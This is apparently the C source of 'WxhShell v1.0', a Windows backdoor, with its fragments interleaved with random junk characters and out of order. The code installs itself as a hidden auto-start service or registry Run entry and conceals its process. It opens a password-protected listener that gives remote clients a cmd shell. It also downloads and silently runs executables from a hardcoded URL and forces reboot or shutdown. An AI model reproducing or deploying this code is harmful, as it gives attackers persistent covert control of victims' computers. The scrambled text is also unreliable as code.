^#&:-4/ SR*KZ1U PROCNTQSIP NtQueryInformationProcess; U|)CZcM 9*j$U$:' static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [BKX$A:Y static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M}xyW"yp J(=io_\bO HANDLE hProcess; /nVGr]t_pj PROCESS_BASIC_INFORMATION pbi; |lVoL.Z,0 Q*8=^[x HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u%I |o s] if(NULL == hInst ) return 0; ynU20g PuGc{kt g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -)$5[jM] g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #^eXnhj 9 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _jD\kg#LY ctu`FQ if (!NtQueryInformationProcess) return 0; [W*Q~Wvp 5BB:. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b[`fQv$G if(!hProcess) return 0; y#)ad\ %<[U\TL` if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jP"l5 OCN@P+L3q CloseHandle(hProcess); ><3!J+<? /{*0
\`; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VJ()sbl{k if(hProcess==NULL) return 0; >`=<(8bu e)A-.SRiO$ HMODULE hMod; o=y0=,:a?9 char procName[255]; %Ae43 unsigned long cbNeeded; IH$ZPux qB8R4wCf if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Eu1t*>ZL
mPS27z( CloseHandle(hProcess); K *xca(6 ,7mB`0j> if(strstr(procName,"services")) return 1; // 以服务启动 n(?BZ'&!O X>4qL'b:z return 0; // 注册表启动 hmM2c15T5 } #jd&f,Tt 0mi$_Ld+ // 主模块 vvmG46IgZ int StartWxhshell(LPSTR lpCmdLine) 6Us*zKgW { ,)%$Zxng SOCKET wsl; qM8"* dL BOOL val=TRUE; VFLW@ int port=0; \ICc?8oL struct sockaddr_in door; mVNHH! ~"}o^#@DwJ if(wscfg.ws_autoins) Install(); a5nA'=|}i 8D6rShx = port=atoi(lpCmdLine); 9HBRWh6 $v0beN6MG if(port<=0) port=wscfg.ws_port; =dDr:Y<@* LMTz/M WSADATA data; uwo\FI if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y';"tD Fb ds;c\x if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; \_8.\o"@*# setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9U]j@*QN door.sin_family = AF_INET; EEdU\9DH( door.sin_addr.s_addr = inet_addr("127.0.0.1"); lXOT>$qR< door.sin_port = htons(port); > xie+ ^ tv'=xDCp if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lNba[;_ closesocket(wsl); ?`T-A\A= return 1; M"
R=;n } `Tk GI0q gOLN7K-) if(listen(wsl,2) == INVALID_SOCKET) { \_l4li closesocket(wsl); Ze"m;T return 1; L5 Q^cY]p } ,Aw
Z% Wxhshell(wsl); <tto8Y
j WSACleanup(); N977F$Bo UWo*%&J return 0; 5Vj O:> $~)YI/b } Wf:LYL pX?/=T@ Bw // 以NT服务方式启动 k<}3_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t+Au6/Dx? { Q%!Dk0-) DWORD status = 0; %_%BbQf DWORD specificError = 0xfffffff; 8T?D#,/ CRs@x` 5ue serviceStatus.dwServiceType = SERVICE_WIN32; l?)!^}Qc serviceStatus.dwCurrentState = SERVICE_START_PENDING; Kn,td:( serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9>9, serviceStatus.dwWin32ExitCode = 0; e6gLYhf& serviceStatus.dwServiceSpecificExitCode = 0; OWT|F0.1$k serviceStatus.dwCheckPoint = 0; hI 1or4V serviceStatus.dwWaitHint = 0; V_/.]zQA Y1R?,5 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }*?,&9/_) if (hServiceStatusHandle==0) return; Fxv5kho mnL+@mm status = GetLastError(); nZ %%{#T7 if (status!=NO_ERROR) DPr~DO`b { RmRPR<vGW serviceStatus.dwCurrentState = SERVICE_STOPPED; ve^gzE$<I serviceStatus.dwCheckPoint = 0; zvK'j"Wq= serviceStatus.dwWaitHint = 0; i "d&U7Q serviceStatus.dwWin32ExitCode = status; ;cfPS serviceStatus.dwServiceSpecificExitCode = specificError; ,Q<mU4 SetServiceStatus(hServiceStatusHandle, &serviceStatus); y}1Pc* return; 6uIgyO*;k } K.Tob,5`
3 #"!Hg serviceStatus.dwCurrentState = SERVICE_RUNNING; (7Ln~J* serviceStatus.dwCheckPoint = 0; pGd@%/]AO serviceStatus.dwWaitHint = 0; "p]!="\ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); OJiwI)a9 } x;{Hd;<YF U^8S@#1Q // 处理NT服务事件,比如:启动、停止 }#h`1 uV VOID WINAPI NTServiceHandler(DWORD fdwControl) HZqk)sN { 9,[AfI switch(fdwControl) |y
pXO3 { qe'RvBz case SERVICE_CONTROL_STOP: K[yP{01 serviceStatus.dwWin32ExitCode = 0; "!ks7:}v serviceStatus.dwCurrentState = SERVICE_STOPPED; foUB/&Ee serviceStatus.dwCheckPoint = 0; 1gQ_76Yck serviceStatus.dwWaitHint = 0; $plqk^P { -&l%CR,U SetServiceStatus(hServiceStatusHandle, &serviceStatus); {gh<SZsE } 0D Lw return; ?j&ZzK'#^ case SERVICE_CONTROL_PAUSE: /@B2-.w serviceStatus.dwCurrentState = SERVICE_PAUSED; WK0:3q(P break; BbiyyRa case SERVICE_CONTROL_CONTINUE: vXm'ARj
serviceStatus.dwCurrentState = SERVICE_RUNNING;
ne:
'aq break; td7Of(k' case SERVICE_CONTROL_INTERROGATE: ?dPr HSy break; .N7<bt@~) }; Y"L |D,ex SetServiceStatus(hServiceStatusHandle, &serviceStatus); 05:?5M4}; } V!l?FOSZ 4n"6<cO5q // 标准应用程序主函数 ^a<kp69qS int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H:S<O%f { /_qHF- #Vu;R5GZ} // 获取操作系统版本 JIIc4fyy8s OsIsNt=GetOsVer(); ?)T@qn+ GetModuleFileName(NULL,ExeFile,MAX_PATH); =R<92v }2Tq[rl~s // 从命令行安装 _PcF/Gyk if(strpbrk(lpCmdLine,"iI")) Install(); 33; '6/ 1nw\?r2 // 下载执行文件 TF9A4 if(wscfg.ws_downexe) { "j&'R#$&d if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AGm=0Om WinExec(wscfg.ws_filenam,SW_HIDE); *?\u5O( } sF>O=F-7 ?GlXxx=eV if(!OsIsNt) { E*h!{)z@F // 如果时win9x,隐藏进程并且设置为注册表启动 YmpaLZJ HideProc(); F2Y!aR StartWxhshell(lpCmdLine); e{9~m } \B^NdG5Y else *nYg-) if(StartFromService()) bYoBJ
#UX // 以服务方式启动 >bd@2au9! StartServiceCtrlDispatcher(DispatchTable); ~sZ$`t else KK6fRtKv>q // 普通方式启动 cg o StartWxhshell(lpCmdLine); ~>N63I6 *AP"[W return 0; J.'%=q(Sb } "iR:KW@ [:(/cKo a#k7 aOT0 /!MVpi'6& =========================================== ``eam8Az_U `lQ;M?D K8Q3~bMf bkc*it hNhEA $X5 8*x=Fm,Ok " YYT#{>& UhrRB #include <stdio.h> nzaA_^`mB #include <string.h> iPkCuLQ} #include <windows.h> 9K#3JyW* #include <winsock2.h> PR]b]= #include <winsvc.h> iEZ+Znon #include <urlmon.h> m[KmXPFht1 a+cDH #pragma comment (lib, "Ws2_32.lib") 22=sh;y+2 #pragma comment (lib, "urlmon.lib") s2<[@@@q yCA8/)>Gm #define MAX_USER 100 // 最大客户端连接数 l?
U!rFRq` #define BUF_SOCK 200 // sock buffer cdh0b7tjn #define KEY_BUFF 255 // 输入 buffer %1:caa@_p .izq}q*P #define REBOOT 0 // 重启 #\`kg#& #define SHUTDOWN 1 // 关机 7F6B J{.UUw9Agd #define DEF_PORT 5000 // 监听端口 5A*&!1T O$}.b=N9 #define REG_LEN 16 // 注册表键长度 pu+Q3NfR #define SVC_LEN 80 // NT服务名长度 aWlIq(dU hxK;f // 从dll定义API KN[;z2i typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S<-nlBs. typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3F@P$4!#l typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Eh ";irE typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8*@{}O## as|w} $ // wxhshell配置信息 A+gS'DZ9C struct WSCFG { -F[@)$L int ws_port; // 监听端口 `d$@1 char ws_passstr[REG_LEN]; // 口令 o.Rv<a5.L int ws_autoins; // 安装标记, 1=yes 0=no 9O:l0
l char ws_regname[REG_LEN]; // 注册表键名 x(vQ%JC char ws_svcname[REG_LEN]; // 服务名 ($kw*H{Ah^ char ws_svcdisp[SVC_LEN]; // 服务显示名 >Rd~-w)!| char ws_svcdesc[SVC_LEN]; // 服务描述信息 u\L}B! char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J-Tiwl int ws_downexe; // 下载执行标记, 1=yes 0=no Zi.' V char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #MlpOk*G char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *=2W:,$ <JH,B91 }; 4&;iORw&E4 -PAEJn5$O // default Wxhshell configuration |Ia9bg'1U struct WSCFG wscfg={DEF_PORT, UUlz3"` "xuhuanlingzhe", vM6W64S 1, @$T$ hMl "Wxhshell", `vgaX,F* "Wxhshell", V(F9=r<X "WxhShell Service", 8ZVQM7O "Wrsky Windows CmdShell Service", a
\1QnCy "Please Input Your Password: ", ]5c(:T F 1, >*8V]{f9 "http://www.wrsky.com/wxhshell.exe", SXZ9+<\ "Wxhshell.exe" 1QG q;6\ }; *H/3xPh,* NeG`D' // 消息定义模块 Q`<{cFsU char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "H).2{3(x char *msg_ws_prompt="\n\r? for help\n\r#>"; 7!pKlmQ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v={{$=/t char *msg_ws_ext="\n\rExit."; ,M;9|kE* char *msg_ws_end="\n\rQuit."; 1.F&gP)9 char *msg_ws_boot="\n\rReboot..."; 7>__ fQu char *msg_ws_poff="\n\rShutdown..."; HDhISPg char *msg_ws_down="\n\rSave to "; Ze eV- Qk:Lo*! char *msg_ws_err="\n\rErr!"; mGj)Zrx> char *msg_ws_ok="\n\rOK!"; |cf-S8pwY _(F-(X| char ExeFile[MAX_PATH]; )6C+0b* int nUser = 0; {g<D:"Q HANDLE handles[MAX_USER]; Z|uvrFa int OsIsNt; 3T F_$bd{ \X:e9~ SERVICE_STATUS serviceStatus; d"9tP&
Q SERVICE_STATUS_HANDLE hServiceStatusHandle; >8"Svt$ &Mk!qE<:N // 函数声明 b4e~Z int Install(void); %- 540V{q int Uninstall(void); 78uImC*o int DownloadFile(char *sURL, SOCKET wsh); heCM+=#~ int Boot(int flag); B#Ybdp ; void HideProc(void); bTc>-e, int GetOsVer(void); 7@fS2mu int Wxhshell(SOCKET wsl); X3l>GeUi void TalkWithClient(void *cs); C~qZ& int CmdShell(SOCKET sock); fd&Fn=! int StartFromService(void); q()o|V int StartWxhshell(LPSTR lpCmdLine); iY,C0=n5Y e$Ds2%SaT VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Qh1pX}X VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]- 1(r, Xb%q9Z // 数据结构和表定义 K=[7<b,:3 SERVICE_TABLE_ENTRY DispatchTable[] = 9j>2C { $72eHdy/yl {wscfg.ws_svcname, NTServiceMain}, DQQ]grU {NULL, NULL} p|-MwCeH }; SN}K=)KF# 5qtk#FB // 自我安装 _Sr7b#)o int Install(void) o+E~iCu5 { '^m.vS!/ char svExeFile[MAX_PATH]; wf\"&xwh? HKEY key; )4
4Y`v strcpy(svExeFile,ExeFile); *OG<+#*\_? i-OD"5a` // 如果是win9x系统,修改注册表设为自启动 .KA-=$~J1 if(!OsIsNt) { [`\VgKeu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :W*yfhLt RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4>jHS\jc RegCloseKey(key); u?Ffqt9' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?s^qWA RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?}cmES kX@ RegCloseKey(key); '@t$3
hk return 0; lFBpNUnzU } 2 ?t@<M] } o8g7wM]M } .dlsiBh else { fs'SCwx 5~[7|Y // 如果是NT以上系统,安装为系统服务 bej(Ds0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]->"4,} if (schSCManager!=0) !/XNp QP { mAW.p=; SC_HANDLE schService = CreateService r N$0qo ( Fc1!i8vv schSCManager, X9m^i2tk wscfg.ws_svcname, og}Ri!^ wscfg.ws_svcdisp, 1Toiqb/ SERVICE_ALL_ACCESS, kK[4uQQ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Pao^>rj SERVICE_AUTO_START, F06o-xH= SERVICE_ERROR_NORMAL, 8Sr' svExeFile, ,UY1.tR( NULL, o9eOp3w30 NULL, [I
*_0 NULL, oP`l)` NULL, lx:$EJ NULL %F 2h C
x ); }(nT(9| if (schService!=0) !?P8[K { (s3k2Z CloseServiceHandle(schService); E!9WZY CloseServiceHandle(schSCManager); _i05'_ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [:y:_ECs6 strcat(svExeFile,wscfg.ws_svcname);
}4|EHhG if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~Gu$EqQ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5kiW@{m RegCloseKey(key); MGR:IOTa return 0; Y2r}W3F= } Q@W/~~N } h9)S&Sk{s CloseServiceHandle(schSCManager); ~1uQyt } >yC=@Uq+ } cpdESc9W }>@\I^Xm, return 1; !Km[Qw
k- }
k*$WAOJEW iOk;o= // 自我卸载 ;'7(gAE int Uninstall(void) V`I4"}M1 { 7}kJp%- HKEY key; w2DC5ei' b#_RZ if(!OsIsNt) { 6'# 5Dqw"r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NrqJf-ldo RegDeleteValue(key,wscfg.ws_regname); hne@I1 RegCloseKey(key); 7f>=-sv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d0(zB5'} RegDeleteValue(key,wscfg.ws_regname); m+(Cl#+ RegCloseKey(key); QLd*f[n return 0; /lBK )( } xo[o^go } v;]rFc#Px[ } $mQ0w~:@ else { h&0zR#t cC/h7odY SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rwP#Yj[BK+ if (schSCManager!=0) o2!738 { T9nb ~P[ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5XKTb if (schService!=0) 42dv3bE" { 1/}H
0\9' if(DeleteService(schService)!=0) { >#]A2, CloseServiceHandle(schService); bU=Utniq CloseServiceHandle(schSCManager); Z8SwW<{ $ return 0; Uy?jVPL } "_WN[jm CloseServiceHandle(schService); #3&@FzD_P } /qLO/Mim CloseServiceHandle(schSCManager); 6 s=VU\ } 9!( 8o } LF7-??' I*u3e return 1; RAW;ze*" } Sm'Tz&! vIV|y>;g // 从指定url下载文件 ,Z{\YAh1 int DownloadFile(char *sURL, SOCKET wsh) 0m_yW$w { `!]|lI!GW HRESULT hr; :q9! char seps[]= "/"; V^_A{\GK char *token; tsb[=W!Ar8 char *file; 2*Qv6
:qK char myURL[MAX_PATH]; !Z$d<~Mq q char myFILE[MAX_PATH]; ',EI[
]+ 'z$N{p40m strcpy(myURL,sURL); 7+HK_wNi token=strtok(myURL,seps); _p )NZ7yC while(token!=NULL) rW?WdEg { t1 3V>9to file=token; :v^/k]S token=strtok(NULL,seps); D3o,2E(o } 2zC4nF)>O z!}E2j_9P GetCurrentDirectory(MAX_PATH,myFILE); )?rq8VO strcat(myFILE, "\\"); B>2R-pa4~ strcat(myFILE, file); &S >{9y% send(wsh,myFILE,strlen(myFILE),0); 3TwjC:Yhv2 send(wsh,"...",3,0); }*:3] hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j`_S%E% X if(hr==S_OK) <C`bf$ak return 0; J M`w6} else xi (@\A return 1; d( v"{N} 9X*Nk~}Y } hr
vTFJ 2`=jKt // 系统电源模块 o 4F'z int Boot(int flag) MPB[~#: { x9l7|G/$ HANDLE hToken; tq
L(H25z TOKEN_PRIVILEGES tkp; "to!&@I|
4 #T7v]@K67 if(OsIsNt) {
3ahriZe OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Tz,-~ mc LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 63fYX" tkp.PrivilegeCount = 1; 5H3o?x tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w'@gzK AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /v!yI$xc if(flag==REBOOT) { a{8a[z if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |1@O>GG return 0; j,YrM?Xdo } Mq>
4! else { S!?T0c?> if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :;%Jm return 0; qk& F>6<9* } tJ(xeb } owNwj else { )qxt< if(flag==REBOOT) { !gXxM,R if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L.;b(bFe return 0; SEgw!2H } Clf$EX;~ else { b**vUt\ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T<]{:\*n return 0; WDc[+Xyw } XFhH+4#] } kz=ho~ @ *V&M5 return 1; s#$t!F??9 } )LP'4* ZF7@ b/-me // win9x进程隐藏模块 k3Yu"GY^ void HideProc(void) d@3DsE.{i { l,@>J9}Se T}Tv}~!f HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ucl001EK if ( hKernel != NULL ) :w8{BIUN) { }3z3GU8Q- pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A{_CU-, ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v47' dC FreeLibrary(hKernel); D.Ke } ~n
'A1 %H\b5&
_y return; R0?bcP& } DAw1S$dM BK!Yl\I< // 获取操作系统版本 I9kz)Q o int GetOsVer(void) vQ<
~-E { -ssb|r OSVERSIONINFO winfo; l!p`g>$&f winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7-S?RU]g GetVersionEx(&winfo); !8@yi"n if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nlv,j& return 1; S}C[ else .X!!dx1< return 0; g9C;JmU } "leSQ 3,p!Fun:r // 客户端句柄模块 SK}jhm"y int Wxhshell(SOCKET wsl) ~(GvjB/C8 { S.MRL, SOCKET wsh; j~'.XD={ struct sockaddr_in client; 8u*<GbKGI DWORD myID; z83v
J*. ;0eVE while(nUser<MAX_USER) YKe&Ph. { -mJs0E*g int nSize=sizeof(client); 3,i j@P wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )WvKRp r if(wsh==INVALID_SOCKET) return 1; }+jB5z'w RLf-Rdx/ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SGKAx<U if(handles[nUser]==0) `n>/MY closesocket(wsh); cyNE} else ..yV=idI nUser++; W'6DwV| } !oyo_h WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EC,,l'%a|/ 4Uny.C] return 0; Yo %U{/e } 4QQt 0u0 %Z6Q/+#fn // 关闭 socket 7nPg2K& void CloseIt(SOCKET wsh) ]I*RuDv} { k _t|)
J closesocket(wsh); r(^00hvH nUser--; inW7t2p<s ExitThread(0); F
w{:shC } ]v<8l4p; (H:c80/V // 客户端请求句柄 -UEi void TalkWithClient(void *cs) _sy{rnaqvb { )B]"""J wXQu%F3 SOCKET wsh=(SOCKET)cs; co,0@.i char pwd[SVC_LEN]; ltOS()[X char cmd[KEY_BUFF]; g:uVl;> char chr[1]; wai3g-` int i,j; iZTU]+z! FKL4`GEm while (nUser < MAX_USER) { \zU<o~gs F,vkk{Z> if(wscfg.ws_passstr) { @*rMMy 4 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +VVn@=&? //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .7.1JT#@A7 //ZeroMemory(pwd,KEY_BUFF); D@p{EH i=0; ql9n`?Q while(i<SVC_LEN) { dg.1{6HM [xGwqa03 // 设置超时 =?|$}vDO[ fd_set FdRead; pbKmFweq struct timeval TimeOut; QP~["%}T FD_ZERO(&FdRead); /@
emE0 FD_SET(wsh,&FdRead); 09McUR@ TimeOut.tv_sec=8; Ep-bx&w+ TimeOut.tv_usec=0; v[|-`e* int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5 _y w if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1{/Cr K/o cQ1[x>OcU if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .]E"w9~ pwd=chr[0]; ";dS~(~ if(chr[0]==0xd || chr[0]==0xa) { ]$#bNt/p pwd=0; ,~7~ S" break; =
V')}f~C } a)lCp i++; j f4<LmR } 7a>+ma\ W7C1\'T // 如果是非法用户,关闭 socket N!.o`4 "z if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1E$\&*( } 9'(^Coq j![1 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G#Bm">+ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TgJ+:^+0
Wx}-H/t'2 while(1) { :UT\L2 q= (J4( Ge ZeroMemory(cmd,KEY_BUFF); 0(o2<d7 J#:`'eEG // 自动支持客户端 telnet标准 C_3,|Zq?| j=0; "~ =O`5V while(j<KEY_BUFF) { mfj%-)l9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `i|!wD,=\ cmd[j]=chr[0]; H3 !9H if(chr[0]==0xa || chr[0]==0xd) { K91O$'J cmd[j]=0; PP!/WX break; a{ke%W$*P } &W3srJo j++; u~,hTY(% } aAqM)T83 'hu'}F{ // 下载文件 CE{2\0Q if(strstr(cmd,"http://")) { #-b}QhxH send(wsh,msg_ws_down,strlen(msg_ws_down),0); S*n5d >; if(DownloadFile(cmd,wsh)) 5(2 C send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^KD1dy3( else "%Ief4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N[-$*F,:_ } zk1]? else { tSni[,4Kq [c;0eFSi2 switch(cmd[0]) { )" Z|x mb`h // 帮助 G/~b(V;> case '?': { ;Tk/}Od!VN send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PDH|=meXM break; 'w1ll9O } Zqf
ovG // 安装 F <iV;+ case 'i': { ajG_t if(Install()) uzb|yV'B send(wsh,msg_ws_err,strlen(msg_ws_err),0); mz x$(u else #lik: ? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'Hj([N break; P}=n^*8(I } \'zloBU // 卸载 Jj0:p" case 'r': { +t-_FbFh3D if(Uninstall()) :3s^, g send(wsh,msg_ws_err,strlen(msg_ws_err),0); zXUB6.
e else /?j
kVy*" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jT]R"U/Q break; ve"tbNL } mQt0?c _ // 显示 wxhshell 所在路径 x8c>2w;6x^ case 'p': { K[?@nl?,z char svExeFile[MAX_PATH]; ?.-+U~ strcpy(svExeFile,"\n\r"); @+
T33X)h% strcat(svExeFile,ExeFile); Id8MXdV send(wsh,svExeFile,strlen(svExeFile),0); w87$p821 break; eC<?g } ,*9gy$ // 重启 Jq"3xj case 'b': { !K2QD[x send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [5!{>L` if(Boot(REBOOT)) ,dosF Q send(wsh,msg_ws_err,strlen(msg_ws_err),0); dEI!r1~n else { [_ uT+q3 closesocket(wsh); 7/KK}\NE ExitThread(0); UHk)!P> } *q\>DE=7 break; (+xT5 2 } `H9+]TWj< // 关机 B@ z ng2[ case 'd': { a*&&6Fo send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z:<wB#G if(Boot(SHUTDOWN)) X>pCkGE send(wsh,msg_ws_err,strlen(msg_ws_err),0); BhjDyB else { ttB>PTg# closesocket(wsh); *2.h*y'u ExitThread(0); ~PAI0+*"q } p Djt\R<f break; }G^'y8U } b&Laxki // 获取shell 2dB]Lw@s case 's': { AuM}L&`i^ CmdShell(wsh); A@Zqh<,Ud closesocket(wsh); eHIcfp@& ExitThread(0); r}(m jC"o break; VMo:pV } *5XOYb?'v. // 退出 ^xScVOdP case 'x': { L&=r-\.ev send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m;1/+qs0 CloseIt(wsh);
V_e break; j
B1ZF# } Yi[MoYe/K // 离开 Chad}zU` case 'q': { .!+7|us8l\ send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,h/l-#KS closesocket(wsh); f;OB"p WSACleanup(); 4hfq7kq7( exit(1); u"wWekB break; t.\Pn4 } 'R-g:X\{ } UUvCi+W } /C<p^#g9. &U`ug"/k // 提示信息 OZz!8-|wE if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P1^|r} } e^x%d[sU } YRv96|c, W|E % return; AOwmPHEL } sX}#L eJ ^I+?h // shell模块句柄 Ejf5M\o int CmdShell(SOCKET sock) s +qodb+ { -eD]gm STARTUPINFO si; MZWv#;.] ZeroMemory(&si,sizeof(si)); j/NX si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sO(4F8cpU si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x&+&)d PROCESS_INFORMATION ProcessInfo; D
dCcsYm, char cmdline[]="cmd"; y!rJ}e CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R[*n3
wB return 0; 62Tel4u } xpu2RE 3Of!Ykf= // 自身启动模式 LCzeE7x int StartFromService(void) %.'oY% { 9:=:P> typedef struct 1;B&R89} { u
i$4 DWORD ExitStatus; gq4X(rsyD DWORD PebBaseAddress; rQ2TPX<?a DWORD AffinityMask; l[%=S! DWORD BasePriority; L`wr~E2u ULONG UniqueProcessId; Br{(sL0e ULONG InheritedFromUniqueProcessId; qzO5p=} } PROCESS_BASIC_INFORMATION; z[O*f#t k{hNv|:, PROCNTQSIP NtQueryInformationProcess; BnDCK@+|Q \[)SK`cwd static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VeY&pPQ |